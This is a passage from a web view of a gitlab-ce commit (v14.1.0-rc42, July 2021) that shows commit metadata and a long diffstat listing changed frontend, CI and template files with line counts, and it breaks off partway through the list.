summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authorGitLab Bot <gitlab-bot@gitlab.com>2021-07-20 09:55:51 +0000
committerGitLab Bot <gitlab-bot@gitlab.com>2021-07-20 09:55:51 +0000
commite8d2c2579383897a1dd7f9debd359abe8ae8373d (patch)
treec42be41678c2586d49a75cabce89322082698334
parentfc845b37ec3a90aaa719975f607740c22ba6a113 (diff)
downloadgitlab-ce-14.1.0-rc42.tar.gz
Add latest changes from gitlab-org/gitlab@14-1-stable-eev14.1.0-rc42
-rw-r--r--.browserslistrc20
-rw-r--r--.eslintignore1
-rw-r--r--.eslintrc.yml4
-rw-r--r--.gitignore1
-rw-r--r--.gitlab/CODEOWNERS5
-rw-r--r--.gitlab/ci/build-images.gitlab-ci.yml43
-rw-r--r--.gitlab/ci/docs.gitlab-ci.yml2
-rw-r--r--.gitlab/ci/frontend.gitlab-ci.yml50
-rw-r--r--.gitlab/ci/global.gitlab-ci.yml40
-rw-r--r--.gitlab/ci/pages.gitlab-ci.yml10
-rw-r--r--.gitlab/ci/rails.gitlab-ci.yml144
-rw-r--r--.gitlab/ci/reports.gitlab-ci.yml34
-rw-r--r--.gitlab/ci/review.gitlab-ci.yml88
-rw-r--r--.gitlab/ci/rules.gitlab-ci.yml140
-rw-r--r--.gitlab/ci/setup.gitlab-ci.yml2
-rw-r--r--.gitlab/issue_templates/Deprecations.md50
-rw-r--r--.gitlab/issue_templates/Design Sprint.md1
-rw-r--r--.gitlab/issue_templates/Feature Flag Roll Out.md11
-rw-r--r--.gitlab/issue_templates/Feature Proposal - basic.md5
-rw-r--r--.gitlab/issue_templates/Geo Replicate a new Git repository type.md174
-rw-r--r--.gitlab/issue_templates/Geo Replicate a new blob type.md176
-rw-r--r--.gitlab/issue_templates/Security developer workflow.md5
-rw-r--r--.gitlab/issue_templates/Snowplow event tracking.md2
-rw-r--r--.gitlab/merge_request_templates/Documentation.md69
-rw-r--r--.gitlab/merge_request_templates/Quarantine End to End Test.md2
-rw-r--r--.gitlab/merge_request_templates/Security Release.md4
-rw-r--r--.gitpod.yml12
-rw-r--r--.markdownlint.yml3
-rw-r--r--.prettierignore1
-rw-r--r--.rubocop.yml23
-rw-r--r--.rubocop_manual_todo.yml974
-rw-r--r--.rubocop_todo.yml19
-rw-r--r--CHANGELOG.md78
-rw-r--r--GITALY_SERVER_VERSION2
-rw-r--r--GITLAB_KAS_VERSION2
-rw-r--r--GITLAB_PAGES_VERSION2
-rw-r--r--Gemfile46
-rw-r--r--Gemfile.lock124
-rw-r--r--LICENSE1
-rw-r--r--README.md3
-rw-r--r--app/assets/javascripts/activities.js2
-rw-r--r--app/assets/javascripts/admin/application_settings/setup_metrics_and_profiling.js3
-rw-r--r--app/assets/javascripts/admin/users/components/actions/activate.vue31
-rw-r--r--app/assets/javascripts/admin/users/components/actions/approve.vue41
-rw-r--r--app/assets/javascripts/admin/users/components/actions/ban.vue69
-rw-r--r--app/assets/javascripts/admin/users/components/actions/block.vue21
-rw-r--r--app/assets/javascripts/admin/users/components/actions/deactivate.vue23
-rw-r--r--app/assets/javascripts/admin/users/components/actions/index.js4
-rw-r--r--app/assets/javascripts/admin/users/components/actions/reject.vue51
-rw-r--r--app/assets/javascripts/admin/users/components/actions/unban.vue53
-rw-r--r--app/assets/javascripts/admin/users/components/actions/unblock.vue20
-rw-r--r--app/assets/javascripts/admin/users/components/actions/unlock.vue18
-rw-r--r--app/assets/javascripts/admin/users/components/modals/delete_user_modal.vue151
-rw-r--r--app/assets/javascripts/admin/users/components/modals/user_modal_manager.vue (renamed from app/assets/javascripts/pages/admin/users/components/user_modal_manager.vue)0
-rw-r--r--app/assets/javascripts/admin/users/components/user_actions.vue117
-rw-r--r--app/assets/javascripts/admin/users/constants.js10
-rw-r--r--app/assets/javascripts/admin/users/index.js65
-rw-r--r--app/assets/javascripts/analytics/devops_report/components/service_ping_disabled.vue58
-rw-r--r--app/assets/javascripts/analytics/devops_report/components/usage_ping_disabled.vue53
-rw-r--r--app/assets/javascripts/analytics/devops_report/devops_score_disabled_service_ping.js33
-rw-r--r--app/assets/javascripts/analytics/devops_report/devops_score_disabled_usage_ping.js27
-rw-r--r--app/assets/javascripts/analytics/shared/components/daterange.vue121
-rw-r--r--app/assets/javascripts/analytics/shared/components/metric_card.vue80
-rw-r--r--app/assets/javascripts/analytics/shared/components/projects_dropdown_filter.vue241
-rw-r--r--app/assets/javascripts/analytics/shared/constants.js12
-rw-r--r--app/assets/javascripts/analytics/shared/graphql/projects.query.graphql22
-rw-r--r--app/assets/javascripts/analytics/shared/utils.js4
-rw-r--r--app/assets/javascripts/analytics/usage_trends/components/usage_counts.vue32
-rw-r--r--app/assets/javascripts/api.js10
-rw-r--r--app/assets/javascripts/api/analytics_api.js19
-rw-r--r--app/assets/javascripts/api/constants.js1
-rw-r--r--app/assets/javascripts/api/groups_api.js2
-rw-r--r--app/assets/javascripts/api/projects_api.js2
-rw-r--r--app/assets/javascripts/api/user_api.js10
-rw-r--r--app/assets/javascripts/awards_handler.js8
-rw-r--r--app/assets/javascripts/badges/components/badge.vue2
-rw-r--r--app/assets/javascripts/badges/components/badge_form.vue2
-rw-r--r--app/assets/javascripts/badges/components/badge_list_row.vue2
-rw-r--r--app/assets/javascripts/batch_comments/components/draft_note.vue8
-rw-r--r--app/assets/javascripts/batch_comments/components/review_bar.vue2
-rw-r--r--app/assets/javascripts/batch_comments/stores/modules/batch_comments/actions.js28
-rw-r--r--app/assets/javascripts/behaviors/markdown/render_mermaid.js10
-rw-r--r--app/assets/javascripts/behaviors/preview_markdown.js8
-rw-r--r--app/assets/javascripts/blob/balsamiq_viewer.js6
-rw-r--r--app/assets/javascripts/blob/components/blob_content.vue6
-rw-r--r--app/assets/javascripts/blob/components/blob_edit_content.vue4
-rw-r--r--app/assets/javascripts/blob/components/blob_header_filepath.vue2
-rw-r--r--app/assets/javascripts/blob/csv/csv_viewer.vue55
-rw-r--r--app/assets/javascripts/blob/csv/index.js17
-rw-r--r--app/assets/javascripts/blob/csv_viewer.js3
-rw-r--r--app/assets/javascripts/blob/file_template_mediator.js11
-rw-r--r--app/assets/javascripts/blob/openapi/index.js6
-rw-r--r--app/assets/javascripts/blob/utils.js4
-rw-r--r--app/assets/javascripts/blob/viewer/index.js40
-rw-r--r--app/assets/javascripts/blob_edit/edit_blob.js8
-rw-r--r--app/assets/javascripts/boards/boards_util.js3
-rw-r--r--app/assets/javascripts/boards/components/board_blocked_icon.vue6
-rw-r--r--app/assets/javascripts/boards/components/board_card_inner.vue131
-rw-r--r--app/assets/javascripts/boards/components/board_column.vue2
-rw-r--r--app/assets/javascripts/boards/components/board_content.vue24
-rw-r--r--app/assets/javascripts/boards/components/board_content_sidebar.vue182
-rw-r--r--app/assets/javascripts/boards/components/board_filtered_search.vue23
-rw-r--r--app/assets/javascripts/boards/components/board_form.vue12
-rw-r--r--app/assets/javascripts/boards/components/board_list.vue31
-rw-r--r--app/assets/javascripts/boards/components/board_list_deprecated.vue4
-rw-r--r--app/assets/javascripts/boards/components/board_list_header.vue35
-rw-r--r--app/assets/javascripts/boards/components/board_new_issue.vue24
-rw-r--r--app/assets/javascripts/boards/components/board_settings_sidebar.vue83
-rw-r--r--app/assets/javascripts/boards/components/board_sidebar.js2
-rw-r--r--app/assets/javascripts/boards/components/boards_selector.vue2
-rw-r--r--app/assets/javascripts/boards/components/boards_selector_deprecated.vue2
-rw-r--r--app/assets/javascripts/boards/components/issue_board_filtered_search.vue102
-rw-r--r--app/assets/javascripts/boards/components/new_list_dropdown.js6
-rw-r--r--app/assets/javascripts/boards/components/project_select.vue2
-rw-r--r--app/assets/javascripts/boards/components/project_select_deprecated.vue2
-rw-r--r--app/assets/javascripts/boards/components/sidebar/board_editable_item.vue2
-rw-r--r--app/assets/javascripts/boards/constants.js5
-rw-r--r--app/assets/javascripts/boards/graphql/issue_set_labels.mutation.graphql1
-rw-r--r--app/assets/javascripts/boards/index.js26
-rw-r--r--app/assets/javascripts/boards/issue_board_filters.js47
-rw-r--r--app/assets/javascripts/boards/mixins/sortable_default_options.js2
-rw-r--r--app/assets/javascripts/boards/models/list.js14
-rw-r--r--app/assets/javascripts/boards/mount_filtered_search_issue_boards.js31
-rw-r--r--app/assets/javascripts/boards/stores/actions.js29
-rw-r--r--app/assets/javascripts/boards/stores/boards_store.js11
-rw-r--r--app/assets/javascripts/boards/stores/getters.js2
-rw-r--r--app/assets/javascripts/boards/stores/mutations.js18
-rw-r--r--app/assets/javascripts/branches/components/delete_branch_button.vue8
-rw-r--r--app/assets/javascripts/branches/divergence_graph.js2
-rw-r--r--app/assets/javascripts/captcha/captcha_modal_axios_interceptor.js56
-rw-r--r--app/assets/javascripts/ci_lint/components/ci_lint.vue6
-rw-r--r--app/assets/javascripts/clusters/clusters_bundle.js221
-rw-r--r--app/assets/javascripts/clusters/components/application_row.vue478
-rw-r--r--app/assets/javascripts/clusters/components/applications.vue662
-rw-r--r--app/assets/javascripts/clusters/components/crossplane_provider_stack.vue93
-rw-r--r--app/assets/javascripts/clusters/components/knative_domain_editor.vue232
-rw-r--r--app/assets/javascripts/clusters/components/uninstall_application_button.vue36
-rw-r--r--app/assets/javascripts/clusters/components/uninstall_application_confirmation_modal.vue101
-rw-r--r--app/assets/javascripts/clusters/components/update_application_confirmation_modal.vue66
-rw-r--r--app/assets/javascripts/clusters/constants.js57
-rw-r--r--app/assets/javascripts/clusters/services/application_state_machine.js250
-rw-r--r--app/assets/javascripts/clusters/services/clusters_service.js26
-rw-r--r--app/assets/javascripts/clusters/stores/clusters_store.js207
-rw-r--r--app/assets/javascripts/clusters_list/store/actions.js6
-rw-r--r--app/assets/javascripts/code_quality_walkthrough/utils.js3
-rw-r--r--app/assets/javascripts/commit/pipelines/pipelines_bundle.js14
-rw-r--r--app/assets/javascripts/commit/pipelines/pipelines_table.vue20
-rw-r--r--app/assets/javascripts/commit_merge_requests.js9
-rw-r--r--app/assets/javascripts/commits.js2
-rw-r--r--app/assets/javascripts/confidential_merge_request/components/project_form_group.vue2
-rw-r--r--app/assets/javascripts/content_editor/components/content_editor.vue31
-rw-r--r--app/assets/javascripts/content_editor/components/toolbar_image_button.vue110
-rw-r--r--app/assets/javascripts/content_editor/components/toolbar_link_button.vue14
-rw-r--r--app/assets/javascripts/content_editor/components/toolbar_table_button.vue91
-rw-r--r--app/assets/javascripts/content_editor/components/top_toolbar.vue28
-rw-r--r--app/assets/javascripts/content_editor/components/wrappers/image.vue31
-rw-r--r--app/assets/javascripts/content_editor/extensions/hard_break.js10
-rw-r--r--app/assets/javascripts/content_editor/extensions/horizontal_rule.js9
-rw-r--r--app/assets/javascripts/content_editor/extensions/image.js130
-rw-r--r--app/assets/javascripts/content_editor/extensions/link.js33
-rw-r--r--app/assets/javascripts/content_editor/extensions/table.js7
-rw-r--r--app/assets/javascripts/content_editor/extensions/table_cell.js9
-rw-r--r--app/assets/javascripts/content_editor/extensions/table_header.js9
-rw-r--r--app/assets/javascripts/content_editor/extensions/table_row.js51
-rw-r--r--app/assets/javascripts/content_editor/services/create_content_editor.js61
-rw-r--r--app/assets/javascripts/content_editor/services/upload_file.js44
-rw-r--r--app/assets/javascripts/content_editor/services/utils.js14
-rw-r--r--app/assets/javascripts/contributors/components/contributors.vue36
-rw-r--r--app/assets/javascripts/contributors/stores/actions.js8
-rw-r--r--app/assets/javascripts/create_cluster/gke_cluster/components/gke_machine_type_dropdown.vue2
-rw-r--r--app/assets/javascripts/create_cluster/gke_cluster/components/gke_project_id_dropdown.vue2
-rw-r--r--app/assets/javascripts/create_cluster/gke_cluster/components/gke_zone_dropdown.vue2
-rw-r--r--app/assets/javascripts/create_cluster/gke_cluster/index.js6
-rw-r--r--app/assets/javascripts/custom_metrics/components/custom_metrics_form_fields.vue2
-rw-r--r--app/assets/javascripts/cycle_analytics/components/filter_bar.vue142
-rw-r--r--app/assets/javascripts/cycle_analytics/components/formatted_stage_count.vue32
-rw-r--r--app/assets/javascripts/cycle_analytics/components/path_navigation.vue10
-rw-r--r--app/assets/javascripts/cycle_analytics/components/value_stream_filters.vue93
-rw-r--r--app/assets/javascripts/cycle_analytics/constants.js1
-rw-r--r--app/assets/javascripts/cycle_analytics/index.js15
-rw-r--r--app/assets/javascripts/cycle_analytics/store/actions.js62
-rw-r--r--app/assets/javascripts/cycle_analytics/store/getters.js29
-rw-r--r--app/assets/javascripts/cycle_analytics/store/index.js2
-rw-r--r--app/assets/javascripts/cycle_analytics/store/mutation_types.js4
-rw-r--r--app/assets/javascripts/cycle_analytics/store/mutations.js38
-rw-r--r--app/assets/javascripts/cycle_analytics/store/state.js5
-rw-r--r--app/assets/javascripts/cycle_analytics/utils.js20
-rw-r--r--app/assets/javascripts/deploy_keys/components/app.vue18
-rw-r--r--app/assets/javascripts/design_management/components/design_notes/design_discussion.vue2
-rw-r--r--app/assets/javascripts/design_management/components/design_notes/design_note.vue6
-rw-r--r--app/assets/javascripts/design_management/components/design_todo_button.vue24
-rw-r--r--app/assets/javascripts/design_management/pages/design/index.vue4
-rw-r--r--app/assets/javascripts/design_management/utils/tracking.js8
-rw-r--r--app/assets/javascripts/diff.js8
-rw-r--r--app/assets/javascripts/diffs/components/app.vue92
-rw-r--r--app/assets/javascripts/diffs/components/collapsed_files_warning.vue7
-rw-r--r--app/assets/javascripts/diffs/components/compare_versions.vue21
-rw-r--r--app/assets/javascripts/diffs/components/diff_content.vue38
-rw-r--r--app/assets/javascripts/diffs/components/diff_file.vue89
-rw-r--r--app/assets/javascripts/diffs/components/diff_file_header.vue35
-rw-r--r--app/assets/javascripts/diffs/components/diff_line_note_form.vue5
-rw-r--r--app/assets/javascripts/diffs/components/diff_row.vue556
-rw-r--r--app/assets/javascripts/diffs/components/diff_row_utils.js41
-rw-r--r--app/assets/javascripts/diffs/components/diff_view.vue74
-rw-r--r--app/assets/javascripts/diffs/components/inline_diff_table_row.vue204
-rw-r--r--app/assets/javascripts/diffs/components/inline_diff_view.vue117
-rw-r--r--app/assets/javascripts/diffs/components/parallel_diff_table_row.vue310
-rw-r--r--app/assets/javascripts/diffs/components/parallel_diff_view.vue142
-rw-r--r--app/assets/javascripts/diffs/components/pre_renderer.vue84
-rw-r--r--app/assets/javascripts/diffs/components/virtual_scroller_scroll_sync.js51
-rw-r--r--app/assets/javascripts/diffs/constants.js1
-rw-r--r--app/assets/javascripts/diffs/index.js3
-rw-r--r--app/assets/javascripts/diffs/store/actions.js60
-rw-r--r--app/assets/javascripts/diffs/store/getters.js6
-rw-r--r--app/assets/javascripts/diffs/store/getters_versions_dropdowns.js3
-rw-r--r--app/assets/javascripts/diffs/store/utils.js10
-rw-r--r--app/assets/javascripts/editor/constants.js7
-rw-r--r--app/assets/javascripts/editor/editor_lite.js263
-rw-r--r--app/assets/javascripts/editor/extensions/editor_ci_schema_ext.js38
-rw-r--r--app/assets/javascripts/editor/extensions/editor_file_template_ext.js8
-rw-r--r--app/assets/javascripts/editor/extensions/editor_lite_extension_base.js93
-rw-r--r--app/assets/javascripts/editor/extensions/editor_lite_webide_ext.js164
-rw-r--r--app/assets/javascripts/editor/extensions/editor_markdown_ext.js97
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_ci_schema_ext.js38
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_extension_base.js93
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_file_template_ext.js8
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_markdown_ext.js97
-rw-r--r--app/assets/javascripts/editor/extensions/source_editor_webide_ext.js164
-rw-r--r--app/assets/javascripts/editor/source_editor.js263
-rw-r--r--app/assets/javascripts/emoji/components/emoji_group.vue1
-rw-r--r--app/assets/javascripts/environments/components/deploy_board.vue2
-rw-r--r--app/assets/javascripts/environments/components/environment_actions.vue2
-rw-r--r--app/assets/javascripts/environments/components/environment_item.vue16
-rw-r--r--app/assets/javascripts/environments/components/environments_app.vue8
-rw-r--r--app/assets/javascripts/environments/components/environments_table.vue6
-rw-r--r--app/assets/javascripts/environments/mixins/environments_mixin.js19
-rw-r--r--app/assets/javascripts/error_tracking/components/stacktrace_entry.vue2
-rw-r--r--app/assets/javascripts/error_tracking_settings/store/actions.js1
-rw-r--r--app/assets/javascripts/feature_flags/components/configure_feature_flags_modal.vue1
-rw-r--r--app/assets/javascripts/feature_flags/components/edit_feature_flag.vue37
-rw-r--r--app/assets/javascripts/feature_flags/components/feature_flags.vue7
-rw-r--r--app/assets/javascripts/feature_flags/components/feature_flags_table.vue68
-rw-r--r--app/assets/javascripts/feature_flags/components/form.vue428
-rw-r--r--app/assets/javascripts/feature_flags/components/new_environments_dropdown.vue2
-rw-r--r--app/assets/javascripts/feature_flags/components/new_feature_flag.vue40
-rw-r--r--app/assets/javascripts/feature_flags/components/strategies/gitlab_user_list.vue2
-rw-r--r--app/assets/javascripts/feature_flags/edit.js7
-rw-r--r--app/assets/javascripts/feature_flags/store/edit/actions.js10
-rw-r--r--app/assets/javascripts/feature_flags/store/edit/mutations.js3
-rw-r--r--app/assets/javascripts/feature_flags/store/helpers.js149
-rw-r--r--app/assets/javascripts/feature_flags/store/index/mutations.js7
-rw-r--r--app/assets/javascripts/feature_flags/store/new/actions.js10
-rw-r--r--app/assets/javascripts/feature_highlight/feature_highlight_helper.js8
-rw-r--r--app/assets/javascripts/filtered_search/add_extra_tokens_for_merge_requests.js13
-rw-r--r--app/assets/javascripts/filtered_search/available_dropdown_mappings.js2
-rw-r--r--app/assets/javascripts/filtered_search/dropdown_ajax_filter.js2
-rw-r--r--app/assets/javascripts/filtered_search/dropdown_emoji.js2
-rw-r--r--app/assets/javascripts/filtered_search/dropdown_non_user.js2
-rw-r--r--app/assets/javascripts/filtered_search/filtered_search_manager.js5
-rw-r--r--app/assets/javascripts/filtered_search/filtered_search_visual_tokens.js5
-rw-r--r--app/assets/javascripts/filtered_search/visual_token_value.js14
-rw-r--r--app/assets/javascripts/flash.js27
-rw-r--r--app/assets/javascripts/fly_out_nav.js11
-rw-r--r--app/assets/javascripts/frequent_items/components/frequent_items_list_item.vue32
-rw-r--r--app/assets/javascripts/frequent_items/store/actions.js3
-rw-r--r--app/assets/javascripts/gpg_badges.js5
-rw-r--r--app/assets/javascripts/grafana_integration/store/actions.js1
-rw-r--r--app/assets/javascripts/graphql_shared/constants.js13
-rw-r--r--app/assets/javascripts/graphql_shared/utils.js5
-rw-r--r--app/assets/javascripts/group.js12
-rw-r--r--app/assets/javascripts/group_label_subscription.js14
-rw-r--r--app/assets/javascripts/group_settings/components/shared_runners_form.vue2
-rw-r--r--app/assets/javascripts/groups/components/app.vue10
-rw-r--r--app/assets/javascripts/groups/components/group_item.vue34
-rw-r--r--app/assets/javascripts/groups/components/groups.vue2
-rw-r--r--app/assets/javascripts/groups/components/item_stats.vue2
-rw-r--r--app/assets/javascripts/groups/groups_filterable_list.js9
-rw-r--r--app/assets/javascripts/ide/components/error_message.vue2
-rw-r--r--app/assets/javascripts/ide/components/ide.vue1
-rw-r--r--app/assets/javascripts/ide/components/ide_project_header.vue12
-rw-r--r--app/assets/javascripts/ide/components/jobs/stage.vue2
-rw-r--r--app/assets/javascripts/ide/components/merge_requests/item.vue2
-rw-r--r--app/assets/javascripts/ide/components/new_dropdown/modal.vue3
-rw-r--r--app/assets/javascripts/ide/components/preview/navigator.vue6
-rw-r--r--app/assets/javascripts/ide/components/repo_editor.vue27
-rw-r--r--app/assets/javascripts/ide/components/shared/tokened_input.vue2
-rw-r--r--app/assets/javascripts/ide/components/terminal/terminal.vue2
-rw-r--r--app/assets/javascripts/ide/ide_router.js15
-rw-r--r--app/assets/javascripts/ide/lib/diff/controller.js3
-rw-r--r--app/assets/javascripts/ide/services/index.js2
-rw-r--r--app/assets/javascripts/ide/stores/actions.js32
-rw-r--r--app/assets/javascripts/ide/stores/actions/merge_request.js3
-rw-r--r--app/assets/javascripts/ide/stores/actions/project.js21
-rw-r--r--app/assets/javascripts/ide/stores/modules/clientside/actions.js2
-rw-r--r--app/assets/javascripts/ide/stores/modules/commit/actions.js8
-rw-r--r--app/assets/javascripts/ide/stores/utils.js4
-rw-r--r--app/assets/javascripts/import_entities/components/group_dropdown.vue40
-rw-r--r--app/assets/javascripts/import_entities/import_groups/components/import_table.vue7
-rw-r--r--app/assets/javascripts/import_entities/import_groups/components/import_table_row.vue26
-rw-r--r--app/assets/javascripts/import_entities/import_projects/components/import_projects_table.vue14
-rw-r--r--app/assets/javascripts/import_entities/import_projects/components/provider_repo_table_row.vue62
-rw-r--r--app/assets/javascripts/import_entities/import_projects/index.js2
-rw-r--r--app/assets/javascripts/incidents_settings/incidents_settings_service.js1
-rw-r--r--app/assets/javascripts/integrations/edit/components/jira_issues_fields.vue42
-rw-r--r--app/assets/javascripts/invite_members/components/invite_members_modal.vue79
-rw-r--r--app/assets/javascripts/invite_members/components/members_token_select.vue24
-rw-r--r--app/assets/javascripts/invite_members/constants.js6
-rw-r--r--app/assets/javascripts/invite_members/utils/response_message_parser.js65
-rw-r--r--app/assets/javascripts/issuable/components/issuable_by_email.vue4
-rw-r--r--app/assets/javascripts/issuable_bulk_update_actions.js124
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar.js172
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar/components/status_select.vue58
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar/constants.js17
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar/init_issue_status_select.js17
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_actions.js126
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar/issuable_bulk_update_sidebar.js173
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar/issuable_init_bulk_update_sidebar.js (renamed from app/assets/javascripts/issuable_init_bulk_update_sidebar.js)0
-rw-r--r--app/assets/javascripts/issuable_bulk_update_sidebar/subscription_select.js28
-rw-r--r--app/assets/javascripts/issuable_context.js30
-rw-r--r--app/assets/javascripts/issuable_create/components/issuable_form.vue21
-rw-r--r--app/assets/javascripts/issuable_index.js2
-rw-r--r--app/assets/javascripts/issuable_list/components/issuable_list_root.vue2
-rw-r--r--app/assets/javascripts/issuable_show/components/issuable_show_root.vue6
-rw-r--r--app/assets/javascripts/issuable_sidebar/components/issuable_sidebar_root.vue23
-rw-r--r--app/assets/javascripts/issuable_sidebar/constants.js1
-rw-r--r--app/assets/javascripts/issue.js12
-rw-r--r--app/assets/javascripts/issue_show/components/incidents/graphql/queries/get_alert.graphql1
-rw-r--r--app/assets/javascripts/issue_show/queries/update_issue.mutation.graphql4
-rw-r--r--app/assets/javascripts/issue_show/services/index.js2
-rw-r--r--app/assets/javascripts/issue_status_select.js27
-rw-r--r--app/assets/javascripts/issues_list/components/issuables_list_app.vue22
-rw-r--r--app/assets/javascripts/issues_list/components/issue_card_time_info.vue2
-rw-r--r--app/assets/javascripts/issues_list/components/issues_list_app.vue208
-rw-r--r--app/assets/javascripts/issues_list/constants.js235
-rw-r--r--app/assets/javascripts/issues_list/index.js12
-rw-r--r--app/assets/javascripts/issues_list/queries/get_issues.query.graphql2
-rw-r--r--app/assets/javascripts/issues_list/queries/get_issues_count.query.graphql26
-rw-r--r--app/assets/javascripts/issues_list/queries/issue.fragment.graphql2
-rw-r--r--app/assets/javascripts/issues_list/queries/search_iterations.query.graphql10
-rw-r--r--app/assets/javascripts/issues_list/queries/search_labels.query.graphql12
-rw-r--r--app/assets/javascripts/issues_list/queries/search_milestones.query.graphql10
-rw-r--r--app/assets/javascripts/issues_list/queries/search_users.query.graphql14
-rw-r--r--app/assets/javascripts/issues_list/utils.js54
-rw-r--r--app/assets/javascripts/jira_connect/branches/components/project_dropdown.vue95
-rw-r--r--app/assets/javascripts/jira_connect/branches/components/source_branch_dropdown.vue134
-rw-r--r--app/assets/javascripts/jira_connect/branches/constants.js2
-rw-r--r--app/assets/javascripts/jira_connect/branches/graphql/queries/get_project.query.graphql17
-rw-r--r--app/assets/javascripts/jira_connect/branches/graphql/queries/get_projects.query.graphql34
-rw-r--r--app/assets/javascripts/jira_connect/components/groups_list.vue1
-rw-r--r--app/assets/javascripts/jira_import/components/jira_import_form.vue4
-rw-r--r--app/assets/javascripts/jobs/components/empty_state.vue11
-rw-r--r--app/assets/javascripts/jobs/components/job_app.vue6
-rw-r--r--app/assets/javascripts/jobs/components/log/collapsible_section.vue33
-rw-r--r--app/assets/javascripts/jobs/components/log/line_number.vue6
-rw-r--r--app/assets/javascripts/jobs/components/manual_variables_form.vue39
-rw-r--r--app/assets/javascripts/jobs/components/sidebar_job_details_container.vue2
-rw-r--r--app/assets/javascripts/jobs/constants.js2
-rw-r--r--app/assets/javascripts/jobs/index.js2
-rw-r--r--app/assets/javascripts/jobs/store/actions.js24
-rw-r--r--app/assets/javascripts/jobs/store/mutations.js28
-rw-r--r--app/assets/javascripts/jobs/store/state.js3
-rw-r--r--app/assets/javascripts/jobs/store/utils.js75
-rw-r--r--app/assets/javascripts/jobs/utils.js6
-rw-r--r--app/assets/javascripts/label_manager.js12
-rw-r--r--app/assets/javascripts/labels_select.js16
-rw-r--r--app/assets/javascripts/lib/dompurify.js11
-rw-r--r--app/assets/javascripts/lib/graphql.js52
-rw-r--r--app/assets/javascripts/lib/utils/axios_utils.js3
-rw-r--r--app/assets/javascripts/lib/utils/common_utils.js139
-rw-r--r--app/assets/javascripts/lib/utils/constants.js1
-rw-r--r--app/assets/javascripts/lib/utils/datetime/timeago_utility.js47
-rw-r--r--app/assets/javascripts/lib/utils/finite_state_machine.js101
-rw-r--r--app/assets/javascripts/lib/utils/text_utility.js58
-rw-r--r--app/assets/javascripts/lib/utils/url_utility.js76
-rw-r--r--app/assets/javascripts/line_highlighter.js4
-rw-r--r--app/assets/javascripts/locale/index.js47
-rw-r--r--app/assets/javascripts/logs/components/environment_logs.vue8
-rw-r--r--app/assets/javascripts/logs/components/tokens/token_with_loading_state.vue2
-rw-r--r--app/assets/javascripts/main.js9
-rw-r--r--app/assets/javascripts/members/components/action_buttons/user_action_buttons.vue1
-rw-r--r--app/assets/javascripts/members/components/app.vue7
-rw-r--r--app/assets/javascripts/members/components/filter_sort/members_filtered_search_bar.vue20
-rw-r--r--app/assets/javascripts/members/components/members_tabs.vue45
-rw-r--r--app/assets/javascripts/members/components/table/members_table.vue19
-rw-r--r--app/assets/javascripts/members/constants.js9
-rw-r--r--app/assets/javascripts/members/utils.js4
-rw-r--r--app/assets/javascripts/merge_conflicts/components/diff_file_editor.vue12
-rw-r--r--app/assets/javascripts/merge_conflicts/merge_conflict_resolver_app.vue2
-rw-r--r--app/assets/javascripts/merge_request.js8
-rw-r--r--app/assets/javascripts/merge_request_tabs.js28
-rw-r--r--app/assets/javascripts/milestone.js8
-rw-r--r--app/assets/javascripts/milestone_select.js17
-rw-r--r--app/assets/javascripts/milestones/components/milestone_combobox.vue4
-rw-r--r--app/assets/javascripts/milestones/milestone_utils.js32
-rw-r--r--app/assets/javascripts/mirrors/mirror_repos.js8
-rw-r--r--app/assets/javascripts/mirrors/ssh_mirror.js6
-rw-r--r--app/assets/javascripts/monitoring/components/alert_widget.vue2
-rw-r--r--app/assets/javascripts/monitoring/components/charts/time_series.vue20
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard_actions_menu.vue34
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard_header.vue2
-rw-r--r--app/assets/javascripts/monitoring/components/dashboard_panel.vue2
-rw-r--r--app/assets/javascripts/monitoring/components/duplicate_dashboard_modal.vue2
-rw-r--r--app/assets/javascripts/monitoring/components/graph_group.vue2
-rw-r--r--app/assets/javascripts/namespaces/leave_by_url.js12
-rw-r--r--app/assets/javascripts/nav/components/top_nav_dropdown_menu.vue4
-rw-r--r--app/assets/javascripts/nav/components/top_nav_menu_item.vue2
-rw-r--r--app/assets/javascripts/nav/components/top_nav_menu_sections.vue2
-rw-r--r--app/assets/javascripts/notebook/cells/markdown.vue60
-rw-r--r--app/assets/javascripts/notes.js5
-rw-r--r--app/assets/javascripts/notes/components/comment_form.vue8
-rw-r--r--app/assets/javascripts/notes/components/discussion_notes.vue25
-rw-r--r--app/assets/javascripts/notes/components/note_actions.vue8
-rw-r--r--app/assets/javascripts/notes/components/note_awards_list.vue8
-rw-r--r--app/assets/javascripts/notes/components/note_header.vue1
-rw-r--r--app/assets/javascripts/notes/components/noteable_discussion.vue14
-rw-r--r--app/assets/javascripts/notes/components/noteable_note.vue22
-rw-r--r--app/assets/javascripts/notes/components/notes_app.vue13
-rw-r--r--app/assets/javascripts/notes/mixins/resolvable.js7
-rw-r--r--app/assets/javascripts/notes/stores/actions.js84
-rw-r--r--app/assets/javascripts/notes/stores/getters.js2
-rw-r--r--app/assets/javascripts/notes/utils.js7
-rw-r--r--app/assets/javascripts/notifications/components/custom_notifications_modal.vue6
-rw-r--r--app/assets/javascripts/notifications/components/notifications_dropdown.vue2
-rw-r--r--app/assets/javascripts/operation_settings/store/actions.js1
-rw-r--r--app/assets/javascripts/packages/details/components/app.vue4
-rw-r--r--app/assets/javascripts/packages/list/constants.js8
-rw-r--r--app/assets/javascripts/packages/shared/constants.js2
-rw-r--r--app/assets/javascripts/packages/shared/utils.js4
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/components/details/app.vue301
-rw-r--r--app/assets/javascripts/packages_and_registries/package_registry/pages/details.js26
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/components/group_settings_app.vue2
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/group/constants.js8
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/project/components/settings_form.vue8
-rw-r--r--app/assets/javascripts/packages_and_registries/settings/project/utils.js7
